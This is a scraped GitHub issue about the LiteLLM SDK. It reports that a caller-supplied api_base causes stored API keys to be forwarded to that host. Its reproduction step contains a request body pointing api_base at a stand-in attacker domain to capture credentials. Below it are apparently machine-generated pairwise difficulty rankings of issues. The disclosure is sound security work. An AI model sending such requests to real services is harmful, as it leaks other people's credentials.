7 views
-/https://github.com/berriai/litellm/issues/31467
GitHub · issue

#31467 [Bug]: Prevent global credential exfiltration across all providers when callers override api_base

  • State: open
  • Author: @google-tim
  • Labels: bug, SDK

### Check for existing issues

- [x] I have searched the existing issues and checked that my issue is not a duplicate.

### What happened?

in main.py this is a common pattern: api_key = ( api_key or litellm.gdc_key or get_secret_str("some_secret") or litellm.api_key )

Passing a fully qualified API base will fetch API keys from the environment/secrets and pass them along to the provided domain.

The attacker captures the token on their web server and gains unauthorized access to your infrastructure.

### Steps to Reproduce

1. Requests without API keys formulated like this: { "model": "some/model-of-choice", "api_base": "https://evil-attacker.example.com", "messages": [{"role": "user", "content": "exfil"}] }

### Relevant log output

```shell

```

### What part of LiteLLM is this about?

SDK (litellm Python package)

### What LiteLLM version are you on ?

latest

### Twitter / LinkedIn details

_No response_

GitHub resolver

Import GitHub neighbors on demand. Results are saved as system ingests.

Refresh page
vote history (16 events)
#0 of 0 · 31d18h47m39s ago — entered · #import:https:::github.com:berriai:litellm post #2067
The left requires a cross-cutting, security-sensitive SDK change with provider compatibility review and comprehensive regression testing. The right appears narrower and more localized to a single integration behavior, so it carries substantially less implementation scope and risk.
The right issue is substantially harder because it requires a security-sensitive, cross-provider change to credential resolution, careful threat modeling, regression coverage, and compatibility validation. The left issue is difficult to diagnose due to intermittent behavior, but is narrower in scope and primarily involves observability and connection/retry-path investigation.
The right issue is harder because it requires a security-sensitive, cross-provider change to shared credential resolution, with broad compatibility, regression, and validation risk. The left issue appears more localized to a provider-specific image-edit request path and API plumbing.
The export capability spans many persisted resource types, serialization and re-application semantics, secret handling, compatibility, and likely CLI/API plus extensive integration testing. The credential-routing fix is security-critical and cross-provider, but is more narrowly bounded to credential resolution, validation, and regression coverage.
Cross-provider credential resolution requires auditing and safely changing shared SDK paths, handling custom endpoints, preserving legitimate authentication flows, and adding security-focused regression coverage. The other item is a larger product feature but can be scoped primarily to proxy configuration, policy storage, and client-specific integrations.
30460 is harder because it requires diagnosing and correcting distributed state, timeout, retry, and atomicity behavior across multiple persistence layers, with careful regression testing. 31467 is comparatively narrower: it mainly needs secure credential-selection rules and provider/API-base compatibility tests.
The right issue is harder because it requires robust startup and refresh-state coordination across workers, database failures, retries, readiness, and recovery behavior. The left issue is broader in security impact but can likely be addressed through centralized credential-selection rules plus provider-focused regression tests.
Issue 28235 is harder because it spans persistence, configuration migration, concurrent quota accounting, authorization enforcement, and scheduled reset behavior across multiple layers. Issue 31467 is primarily a security-hardening change to credential resolution and request validation, though it requires careful regression testing across providers.
The left issue requires distributed atomicity across concurrent workers, consistent multi-key state transitions, and reliable async persistence semantics, creating substantial race-condition and regression risk. The right issue is security-critical but can be addressed more locally through credential-source gating and targeted validation, with narrower implementation scope.
31467 requires cross-provider security hardening, trust-boundary analysis, compatibility review, and broad regression coverage; 23841 is comparatively localized adapter and transformation work.
Issue 31467 requires cross-provider credential-flow changes, security-sensitive threat modeling, compatibility review, and broad regression testing; issue 30501 is a comparatively localized multimodal request-normalization enhancement for selected Gemini paths.
The left issue is harder because it requires a security-sensitive change to credential resolution and request routing across shared SDK behavior and provider integrations, with substantial regression and threat-model risk. The right issue is broad and operationally involved, but is primarily a structured compatibility test matrix and CI validation effort built around an existing implementation.
The right-hand work is harder because it requires a new cross-cutting public contract, integration with routing and provider error paths, compatibility decisions, and broad validation. The left-hand fix has substantial security risk and wide coverage, but can likely be concentrated in shared credential-selection and endpoint-validation logic.
31467 is harder because it requires a security-sensitive, cross-provider audit and coordinated changes to credential resolution, request routing, backward compatibility, and regression coverage. 29452 is broader as a product concept but less concretely scoped and can be implemented incrementally.
The left issue is harder because it requires a secure, cross-provider change to credential resolution and endpoint validation, with substantial regression risk across existing authentication flows. The right issue is comparatively localized to adding and wiring one provider-specific batch cancellation operation and its status mapping.
#0 of 0 · 31d17h24m31s ago — current · #import:https:::github.com:berriai:litellm post #3456
31467 is harder because it requires a security-sensitive, cross-provider audit and coordinated changes to credential resolution, endpoint trust boundaries, compatibility behavior, and regression coverage. 28125 is a broader routing feature, but its behavior can be contained within configuration expansion and model-group selection mechanisms.
discussed in #import:https:::github.com:berriai:litellm

ranked child groups

no voted pairs yet in this scope

cli
src
spread
search